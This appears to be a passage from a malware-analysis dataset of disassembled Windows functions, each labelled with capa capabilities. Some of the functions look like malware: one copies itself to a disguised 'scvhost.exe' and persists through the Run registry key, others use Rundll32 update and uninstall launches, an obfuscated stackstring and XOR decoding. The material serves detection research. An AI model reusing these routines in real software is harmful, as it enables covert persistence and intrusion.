joyce8/EMBER2024-capa huggingface dataset:
Function at 0x46b2a0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x56e754]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
cmp ebx, 0xffffffff
jne 0x46b2d0
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004ca771
mov esp, ebp
pop ebp
ret 4
mov eax, dword [esi + 0x20]
push edi
mov ecx, dword [eax]
test ecx, ecx
je 0x46b30c
mov edx, dword [esi + 0x30]
mov edi, dword [edx]
lea eax, [edi + ecx]
cmp ecx, eax
jae 0x46b30c
lea ecx, [edi - 1]
mov dword [edx], ecx
mov edx, dword [esi + 0x20]
mov esi, dword [edx]
lea ecx, [esi + 1]
mov dword [edx], ecx
mov byte [esi], bl
pop edi
pop esi
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004ca771
mov esp, ebp
pop ebp
ret 4
cmp dword [esi + 0x4c], 0
je 0x46b3f5
mov edi, dword [esi + 0xc]
lea eax, [esi + 0x3c]
cmp dword [edi], eax
jne 0x46b334
mov edx, dword [esi + 0x54]
mov ecx, dword [esi + 0x50]
sub edx, ecx
mov dword [edi], ecx
mov eax, dword [esi + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi + 0x2c]
mov dword [eax], edx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x46b367
push dword [esi + 0x4c]
movsx eax, bl
push eax
call fcn.004efb8d
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004ca771
mov esp, ebp
pop ebp
ret 4
mov byte [ebp - 0x25], bl
mov eax, dword [ecx]
mov edx, dword [eax + 0x1c]
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x25]
push eax
lea eax, [esi + 0x40]
push eax
call edx
test eax, eax
js 0x46b3f5
cmp eax, 1
jle 0x46b3c8
cmp eax, 3
jne 0x46b3f5
push dword [esi + 0x4c]
movsx eax, byte [ebp - 0x25]
push eax
call fcn.004efb8d
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004ca771
mov esp, ebp
pop ebp
ret 4
mov edi, dword [ebp - 0x2c]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x46b3e5
push dword [esi + 0x4c]
push edi
push 1
push eax
call fcn.004efb0c
add esp, 0x10
cmp edi, eax
jne 0x46b3f5
lea eax, [ebp - 0x25]
mov byte [esi + 0x3d], 1
cmp dword [ebp - 0x30], eax
jne 0x46b2f7
mov ecx, dword [ebp - 4]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004ca771
mov esp, ebp
pop ebp
ret 4
Function at 0x46b6b0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x56e754]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
push edi
cmp dword [esi + 0x38], 0
je 0x46b753
cmp byte [esi + 0x3d], 0
je 0x46b753
mov eax, dword [esi]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
je 0x46b709
mov ecx, dword [esi + 0x38]
mov eax, dword [ecx]
mov edx, dword [eax + 0x20]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [esi + 0x40]
push eax
call edx
sub eax, 0
je 0x46b71b
sub eax, 1
je 0x46b71f
sub eax, 2
je 0x46b753
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004ca771
mov esp, ebp
pop ebp
ret
mov byte [esi + 0x3d], 0
mov edi, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x46b73c
push dword [esi + 0x4c]
push edi
push 1
push eax
call fcn.004efb0c
add esp, 0x10
cmp edi, eax
jne 0x46b709
cmp byte [esi + 0x3d], 0
pop edi
sete al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004ca771
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
xor ecx, ebp
pop esi
call fcn.004ca771
mov esp, ebp
pop ebp
ret
Function at 0x48b260
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x520b88
mov eax, dword fs:[0]
push eax
sub esp, 0x50
mov eax, dword [0x56e754]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, edx
mov edi, ecx
mov dword [ebp - 0x5c], edi
mov dword [ebp - 0x5c], edi
lea ecx, [ebp - 0x58]
mov byte [ebp - 0x5c], 0
mov edx, 0x57c328
push dword [ebp - 0x5c]
call fcn.00430600
add esp, 4
push esi
lea ecx, [ebp - 0x40]
mov dword [ebp - 4], 0
call fcn.0041a7e0
lea eax, [ebp - 0x58]
mov byte [ebp - 4], 1
push eax
lea ecx, [ebp - 0x40]
call fcn.004165e0
push eax
lea ecx, [ebp - 0x28]
call fcn.0041a7e0
lea ecx, [ebp - 0x40]
call fcn.0041b400
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 3
call fcn.0041b400
lea ecx, [ebp - 0x28]
call fcn.00423910
test al, al
jne 0x48b32e
cmp dword [ebp - 0x14], 8
lea ecx, [ebp - 0x28]
cmovae ecx, dword [ebp - 0x28]
call fcn.00423ea0
test al, al
jne 0x48b31a
mov byte [ebp - 0x5c], al
mov ecx, edi
push dword [ebp - 0x5c]
call fcn.00430ef0
add esp, 4
jmp 0x48b339
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
push 2
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x28]
mov ecx, edi
push eax
call fcn.0041a7e0
lea ecx, [ebp - 0x28]
call fcn.0041b400
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004ca771
mov esp, ebp
pop ebp
ret
Function at 0x48dba0
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0xc
mov eax, dword [esp + 0x14]
xor cl, cl
mov edx, dword [esp + 0x18]
push ebx
mov ebx, dword [esp + 0x14]
mov dword [esp + 8], eax
push ebp
push esi
push edi
test bl, 3
jne 0x48dcd1
test al, 3
jne 0x48dcd1
mov edi, edx
mov dword [esp + 0x10], 0
shr edi, 2
xor esi, esi
test edi, edi
je 0x48dc8c
cmp edi, 8
jb 0x48dc55
mov ebp, dword [esp + 0x24]
mov ecx, edi
mov dword [esp + 0x14], ebx
and ecx, 0xfffffff8
add eax, 0x10
xorps xmm3, xmm3
sub dword [esp + 0x14], ebp
xorps xmm2, xmm2
mov ebp, dword [esp + 0x14]
movups xmm0, xmmword [eax - 0x10]
lea eax, [eax + 0x20]
movups xmm1, xmmword [ebx + esi*4]
add esi, 8
pxor xmm1, xmm0
por xmm3, xmm1
movups xmm1, xmmword [eax + ebp - 0x20]
movups xmm0, xmmword [eax - 0x20]
pxor xmm1, xmm0
por xmm2, xmm1
cmp esi, ecx
jb 0x48dc04
mov eax, dword [esp + 0x24]
por xmm2, xmm3
movaps xmm0, xmm2
psrldq xmm0, 8
por xmm2, xmm0
movups xmm0, xmm2
psrldq xmm0, 4
por xmm2, xmm0
movd dword [esp + 0x10], xmm2
cmp esi, edi
jae 0x48dc90
mov ebp, ebx
lea ecx, [eax + esi*4]
sub ebp, eax
mov dword [esp + 0x14], ebp
mov ebp, edi
mov ebx, dword [esp + 0x14]
sub ebp, esi
mov esi, edi
mov edi, dword [esp + 0x10]
mov eax, dword [ecx + ebx]
lea ecx, [ecx + 4]
xor eax, dword [ecx - 4]
or edi, eax
sub ebp, 1
jne 0x48dc72
mov ebx, dword [esp + 0x20]
mov dword [esp + 0x10], edi
jmp 0x48dc94
xor edi, edi
jmp 0x48dc94
mov edi, dword [esp + 0x10]
shl esi, 2
sub edx, esi
jne 0x48dca8
test edi, edi
pop edi
pop esi
pop ebp
sete al
pop ebx
add esp, 0xc
ret
mov eax, dword [esp + 0x10]
add ebx, esi
mov ebp, dword [esp + 0x24]
mov ecx, eax
shr eax, 0x10
add ebp, esi
shr ecx, 0x18
or cl, al
mov dword [esp + 0x14], ebp
mov eax, dword [esp + 0x10]
shr eax, 8
or cl, al
mov eax, ebp
or cl, byte [esp + 0x10]
xor edi, edi
test edx, edx
je 0x48dd90
cmp edx, 0x20
jb 0x48dd6a
mov esi, edx
xorps xmm3, xmm3
and esi, 0xffffffe0
xorps xmm2, xmm2
mov dword [esp + 0x10], esi
mov esi, ebx
sub esi, dword [esp + 0x14]
mov dword [esp + 0x18], esi
mov esi, dword [esp + 0x10]
mov ebp, dword [esp + 0x18]
movups xmm0, xmmword [eax]
lea eax, [eax + 0x20]
movups xmm1, xmmword [eax + ebp - 0x20]
pxor xmm1, xmm0
movups xmm0, xmmword [eax - 0x10]
por xmm3, xmm1
movups xmm1, xmmword [ebx + edi + 0x10]
add edi, 0x20
pxor xmm1, xmm0
por xmm2, xmm1
cmp edi, esi
jb 0x48dd05
por xmm2, xmm3
movaps xmm0, xmm2
psrldq xmm0, 8
por xmm2, xmm0
movups xmm0, xmm2
psrldq xmm0, 4
por xmm2, xmm0
movups xmm0, xmm2
psrldq xmm0, 2
por xmm2, xmm0
movups xmm0, xmm2
psrldq xmm0, 1
por xmm2, xmm0
movd eax, xmm2
or cl, al
mov ebp, dword [esp + 0x14]
cmp edi, edx
jae 0x48dd90
sub ebx, ebp
lea esi, [edi + ebp]
sub edx, edi
nop dword [eax]
mov al, byte [ebx + esi]
lea esi, [esi + 1]
xor al, byte [esi - 1]
or cl, al
sub edx, 1
jne 0x48dd80
pop edi
pop esi
test cl, cl
pop ebp
sete al
pop ebx
add esp, 0xc
ret

Function at 0x49eda0
Capabilities:
Hash data using murmur3
Resolve function by parsing pe exports

Disassembly:
cmp byte [0x5836cc], 0
jne 0x49edae
call fcn.0049ede0
cmp byte [0x5836d3], 0
je 0x49edcc
push 0
push 0x40
push dword [esp + 0x10]
push dword [esp + 0x10]
call fcn.004a3240
add esp, 0x10
ret
jmp fcn.0049d150
Function at 0x4abbf0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 8]
not eax
push esi
mov esi, dword [esp + 0x10]
push edi
cmp esi, 8
jbe 0x4abcc6
test bl, 7
je 0x4abc29
nop
movzx ecx, byte [ebx]
dec esi
movzx edx, al
inc ebx
xor edx, ecx
shr eax, 8
xor eax, dword [edx*4 + 0x52d1d8]
test bl, 7
jne 0x4abc10
mov edi, esi
and esi, 7
and edi, 0xfffffff8
add edi, ebx
cmp ebx, edi
jae 0x4abcc6
nop dword [eax + eax]
xor eax, dword [ebx]
add ebx, 4
mov dword [esp + 0x18], ebx
add dword [esp + 0x18], 4
mov ebx, dword [ebx]
mov ecx, ebx
shr ecx, 0x10
movzx edx, cl
mov ecx, ebx
shr ecx, 8
movzx ecx, cl
mov edx, dword [edx*4 + 0x52d5d8]
xor edx, dword [ecx*4 + 0x52d9d8]
mov ecx, eax
shr ecx, 0x10
movzx ecx, cl
xor edx, dword [ecx*4 + 0x52e5d8]
mov ecx, eax
shr ecx, 8
movzx ecx, cl
xor edx, dword [ecx*4 + 0x52e9d8]
mov ecx, ebx
shr ecx, 0x18
xor edx, dword [ecx*4 + 0x52d1d8]
mov ecx, eax
shr ecx, 0x18
movzx eax, al
xor edx, dword [ecx*4 + 0x52e1d8]
movzx ecx, bl
mov ebx, dword [esp + 0x18]
xor edx, dword [ecx*4 + 0x52ddd8]
xor edx, dword [eax*4 + 0x52edd8]
mov eax, edx
cmp ebx, edi
jb 0x4abc40
test esi, esi
je 0x4abcea
nop word [eax + eax]
movzx ecx, byte [ebx]
lea ebx, [ebx + 1]
movzx edx, al
xor edx, ecx
shr eax, 8
xor eax, dword [edx*4 + 0x52d1d8]
sub esi, 1
jne 0x4abcd0
pop edi
pop esi
not eax
pop ebx
ret

Function at 0x4abcf0
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 8]
not eax
push ebp
push esi
mov esi, dword [esp + 0x1c]
push edi
mov edi, dword [esp + 0x18]
not esi
cmp edi, 4
jbe 0x4abdd6
mov dword [esp + 0x1c], ebx
test bl, 3
je 0x4abd48
nop word [eax + eax]
movzx ecx, byte [ebx]
dec edi
movzx edx, al
inc ebx
shrd eax, esi, 8
xor edx, ecx
shr esi, 8
xor eax, dword [edx*8 + 0x52f1d8]
xor esi, dword [edx*8 + 0x52f1dc]
test bl, 3
jne 0x4abd20
mov dword [esp + 0x1c], ebx
mov ebp, edi
xor edx, edx
and ebp, 0xfffffffc
and edi, 3
mov dword [esp + 0x18], edi
lea ecx, [ebx + ebp]
shr ebp, 2
cmp ebx, ecx
cmova ebp, edx
test ebp, ebp
je 0x4abdd6
xor edi, edi
mov ebx, dword [ebx]
inc edi
xor ebx, eax
mov eax, ebx
shr eax, 0x10
movzx edx, al
mov eax, ebx
shr eax, 8
movzx ecx, al
mov eax, dword [edx*8 + 0x52f9d8]
mov edx, dword [edx*8 + 0x52f9dc]
xor eax, dword [ecx*8 + 0x5301d8]
xor edx, dword [ecx*8 + 0x5301dc]
mov ecx, ebx
shr ecx, 0x18
xor eax, dword [ecx*8 + 0x52f1d8]
xor edx, dword [ecx*8 + 0x52f1dc]
movzx ecx, bl
mov ebx, dword [esp + 0x1c]
add ebx, 4
mov dword [esp + 0x1c], ebx
xor eax, dword [ecx*8 + 0x5309d8]
xor edx, dword [ecx*8 + 0x5309dc]
xor eax, esi
xor edx, 0
mov esi, edx
cmp edi, ebp
jb 0x4abd67
mov edi, dword [esp + 0x18]
test edi, edi
je 0x4abe05
nop word [eax + eax]
movzx ecx, byte [ebx]
lea ebx, [ebx + 1]
movzx edx, al
shrd eax, esi, 8
xor edx, ecx
shr esi, 8
xor eax, dword [edx*8 + 0x52f1d8]
xor esi, dword [edx*8 + 0x52f1dc]
sub edi, 1
jne 0x4abde0
not esi
not eax
pop edi
mov edx, esi
pop esi
pop ebp
pop ebx
ret
Function at 0x4ce32b
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret

Function at 0x506a8b
Capabilities:
Create thread
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00506990

Function at 0x509d91
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00509a54

Function at 0x509d9c
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00509bd5

Function at 0x50ebee
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0050e8ae

Function at 0x438c95
Capabilities:
Encode data using xor

Disassembly:
push 0x438a14
pop eax
or ebx, edx
or ebx, ebx
call fcn.00438cd6
dec edx
sub edx, 0x62ad259b
inc edx
xor dword [esi], eax
mov ebx, 0xd5dd7304
sub edx, 0x288aa8e3
add ebx, 0x3f5be72c
inc esi
inc edx
sub edx, 1
mov edx, edx
cmp esi, ecx
jne fcn.00438c95
add edx, edx
ret
Function at 0x1000127b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, 0x10007940
call fcn.10007694
sub esp, 0x1ac
push ebx
push esi
mov esi, ecx
mov dword [ebp - 0x28], esi
lea ecx, [esi + 4]
call fcn.10001000
xor ebx, ebx
lea ecx, [esi + 0x14]
mov dword [ebp - 4], ebx
call fcn.10001000
lea ecx, [esi + 0x24]
mov byte [ebp - 4], 1
call fcn.10001000
lea ecx, [esi + 0x34]
mov byte [ebp - 4], 2
call fcn.10001000
lea eax, [ebp - 0x1b8]
mov byte [ebp - 4], 3
push eax
push 0x202
mov dword [esi], 0x10008230
call dword [0x1000bf08]
push ebx
push ebx
push 1
push ebx
call dword [0x1000be34]
or dword [esi + 0x48], 0xffffffff
mov dword [esi + 0x4c], eax
lea eax, [ebp - 0x10]
push 3
push eax
lea eax, [esi + 0x54]
push eax
mov byte [esi + 0x57], bl
mov byte [ebp - 0x10], 0x68
mov byte [ebp - 0xf], 0x78
mov byte [ebp - 0xe], 0x20
call dword [0x1000bef8]
lea eax, [ebp - 0x24]
mov byte [ebp - 0x24], 0x45
push eax
mov byte [ebp - 0x23], 0x77
mov byte [ebp - 0x22], 0x69
mov byte [ebp - 0x21], 0x6e
mov byte [ebp - 0x20], 0x68
mov byte [ebp - 0x1f], 0x50
mov byte [ebp - 0x1e], 0x72
mov byte [ebp - 0x1d], 0x6f
mov byte [ebp - 0x1c], 0x74
mov byte [ebp - 0x1b], 0x6f
mov byte [ebp - 0x1a], 0x63
mov byte [ebp - 0x19], 0x6f
mov byte [ebp - 0x18], 0x6c
mov byte [ebp - 0x17], 0x48
mov byte [ebp - 0x16], 0x6f
mov byte [ebp - 0x15], 0x73
mov byte [ebp - 0x14], 0x74
mov byte [ebp - 0x13], 0x79
mov byte [ebp - 0x12], bl
call sub.MSVCRT.dll_strlen
add esp, 0x10
mov ecx, esi
push eax
lea eax, [ebp - 0x24]
push eax
push 0x1000b380
call fcn.10001b53
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x10001d2d
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push 0
mov edi, ecx
mov eax, dword [esi]
push 0x80
mov dword [ebp - 4], eax
mov eax, dword [esi + 4]
push 3
mov dword [ebp + 8], eax
push 0
push 2
lea eax, [edi + 0x18]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
lea eax, [ebp - 4]
push 0
push eax
push dword [ebp + 8]
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp - 8]
push 0
push eax
mov eax, dword [ebp + 0xc]
add eax, 0xfffffff8
add esi, 8
push eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
mov ecx, dword [0x1000b480]
add dword [ebp + 8], eax
lea eax, [ebp - 4]
push 4
push eax
lea eax, [ebp - 0x13]
mov byte [ebp - 0x14], 0xdb
push eax
call fcn.1000591b
mov ecx, dword [0x1000b480]
lea eax, [ebp + 8]
push 4
push eax
lea eax, [ebp - 0xf]
push eax
call fcn.1000591b
push 0x14
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x14]
push 9
push eax
mov ecx, edi
call fcn.10004dcb
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x10001de3
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push esi
push edi
push 0
mov esi, ecx
push 0x80
push 3
push 0
push 0
lea eax, [esi + 0x18]
push bind
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x10001e20
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, esi
call fcn.10001e9b
jmp 0x10001e95
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push edi
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [0x1000b480]
lea eax, [ebp - 4]
push 4
push eax
lea eax, [ebp - 0x17]
mov byte [ebp - 0x18], 0xdd
push eax
call fcn.1000591b
mov ecx, dword [0x1000b480]
lea eax, [ebp - 8]
push 4
push eax
lea eax, [ebp - 0x13]
push eax
call fcn.1000591b
mov ecx, dword [0x1000b480]
push 4
lea eax, [ebp - 0xf]
push 0x1000b484
push eax
call fcn.1000591b
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x18]
push 0xd
push eax
mov ecx, esi
call fcn.10004dcb
pop edi
pop esi
leave
ret 4
Function at 0x10002ada
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ecx
and byte [ebp - 1], 0
push esi
push 0x104
mov esi, 0x1000bac0
push 0
push esi
mov byte [ebp - 2], 0x5c
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
push 0x1a
push esi
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov ecx, dword [0x1000b480]
lea eax, [ebp - 2]
push eax
push esi
call fcn.10005945
push dword [ebp + 8]
mov ecx, dword [0x1000b480]
push esi
call fcn.10005945
pop esi
leave
ret

Function at 0x10002bab
Capabilities:
Check if file exists
Get file attributes
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov al, byte [0x1000aa8c]
push esi
xor esi, esi
push edi
cmp dword [0x1000bbc8], esi
mov byte [ebp - 4], al
jne 0x10002c8c
push dword [ebp + 8]
call fcn.10002ada
pop ecx
mov edi, 0x1000bac0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x10002bf0
push 0x7b
push edi
call fcn.10002a54
pop ecx
pop ecx
jmp 0x10002c7e
push esi
push 0x80
push 3
push esi
push esi
push bind
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [0x1000bab8], eax
je 0x10002c7e
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 4
push 0x3000
push eax
push esi
mov dword [0x1000b6b0], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push esi
push 0x1000bab4
push dword [0x1000b6b0]
mov dword [0x1000bbc4], eax
push eax
push dword [0x1000bab8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [0x1000bab8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [0x1000b6b0]
push dword [0x1000bbc4]
call fcn.10002b2b
push dword [0x1000bbc4]
call fcn.10004e10
add esp, 0xc
cmp eax, esi
mov dword [0x1000babc], eax
jne 0x10002c82
xor eax, eax
jmp 0x10002cc0
mov dword [0x1000bbc8], 1
push dword [ebp + 0xc]
push dword [0x1000babc]
call fcn.10005248
pop ecx
cmp eax, esi
pop ecx
je 0x10002cbe
push dword [ebp + 0x10]
push str.127.0.0.1
push dword [ebp - 4]
push esi
push dword [0x1000a268]
push 0x1000bbd4
call eax
add esp, 0x18
mov esi, eax
mov eax, esi
pop edi
pop esi
leave
ret

Function at 0x10002dca
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
lea eax, [ebp - 0x104]
push 0x104
push eax
push dword [0x1000bdd8]
call dword [0x1000be0c]
cmp dword [ebp + 8], 0
je 0x10002e12
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x208]
push str.Rundll32___s__DllUpdate__s
push eax
call dword [0x1000be78]
add esp, 0x10
jmp 0x10002e2e
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x208]
push str.Rundll32___s__Uninstall
push eax
call dword [0x1000be78]
add esp, 0xc
lea eax, [ebp - 0x208]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
mov dword [0x1000c354], 1
leave
ret
Function at 0x10003041
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2d8
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push 0x170
lea eax, [ebp - 0x2d8]
push esi
push eax
call dword [0x1000bef8]
add esp, 0xc
xor ebx, ebx
xor eax, eax
lea edi, [ebp - 0x167]
push 0x59
mov byte [ebp - 0x168], bl
pop ecx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push ebx
push ebx
push 2
push ebx
stosb byte es:[edi], al
push 1
lea eax, [ebp - 0x1cc]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x100030be
lea eax, [ebp + 8]
push ebx
push eax
mov eax, dword [ebp + 0xc]
add eax, 0xfffffe90
add esi, 0x170
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x100030c5
xor eax, eax
jmp 0x1000314b
push edi
call dword [0x1000be1c]
lea eax, [ebp - 0x2d0]
push eax
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
je 0x10003102
lea eax, [ebp - 0x2d0]
push eax
lea eax, [ebp - 0x1cc]
push eax
lea eax, [ebp - 0x168]
push str._s__s
push eax
call dword [0x1000be78]
add esp, 0x10
jmp 0x10003116
lea eax, [ebp - 0x1cc]
push eax
lea eax, [ebp - 0x168]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [ebp - 0x2d4]
sub eax, ebx
je 0x10003138
dec eax
je 0x10003135
dec eax
dec eax
jne 0x10003148
lea eax, [ebp - 0x168]
push eax
call fcn.10002dca
jmp 0x10003147
push ebx
jmp 0x1000313a
push 5
lea eax, [ebp - 0x168]
push eax
call fcn.10002e49
pop ecx
pop ecx
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10003531
Capabilities:
Copy file
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x164
and byte [ebp - 0x164], 0
push ebx
push esi
push edi
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x163]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ebx, 0x104
lea eax, [ebp - 0x164]
push ebx
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0xa
mov esi, str.C:Program_FilesCommon_Files_scvhost.exe
pop ecx
lea edi, [ebp - 0x60]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0xc
xor eax, eax
pop ecx
lea edi, [ebp - 0x36]
rep stosd dword es:[edi], eax
xor esi, esi
lea eax, [ebp - 0x60]
push esi
push eax
lea eax, [ebp - 0x164]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [ebp - 4]
push eax
push 0xf003f
push esi
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100035d4
lea eax, [ebp - 0x164]
push ebx
push eax
push 1
push esi
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
xor al, al
pop ebx
leave
ret
Function at 0x100036d9
Capabilities:
Enumerate devices by category

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push esi
xor esi, esi
push edi
push esi
call dword [0x1000bf40]
lea eax, [ebp - 0xc]
xor edi, edi
push eax
push 0x100082c0
push 1
push esi
push 0x100082e0
mov dword [ebp - 0xc], esi
call dword [0x1000bf48]
test eax, eax
jge 0x10003711
xor eax, eax
jmp 0x100037b7
mov eax, dword [ebp - 0xc]
lea edx, [ebp - 8]
push esi
mov dword [ebp - 8], esi
mov ecx, dword [eax]
push edx
push 0x100082d0
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x100037a6
mov dword [ebp - 4], esi
mov eax, dword [ebp - 8]
lea edx, [ebp - 0x14]
push edx
lea edx, [ebp - 4]
mov ecx, dword [eax]
push edx
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x1000379d
mov eax, dword [ebp - 4]
lea edx, [ebp - 0x10]
push edx
push 0x100082a8
mov ecx, dword [eax]
push esi
push esi
push eax
call dword [ecx + 0x24]
test eax, eax
jl 0x10003792
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0x24]
push esi
push edx
mov ecx, dword [eax]
push str.FriendlyName
push eax
call dword [ecx + 0xc]
test eax, eax
jl 0x1000377f
inc edi
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
jmp 0x1000372e
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [0x1000bf44]
mov eax, edi
pop edi
pop esi
leave
ret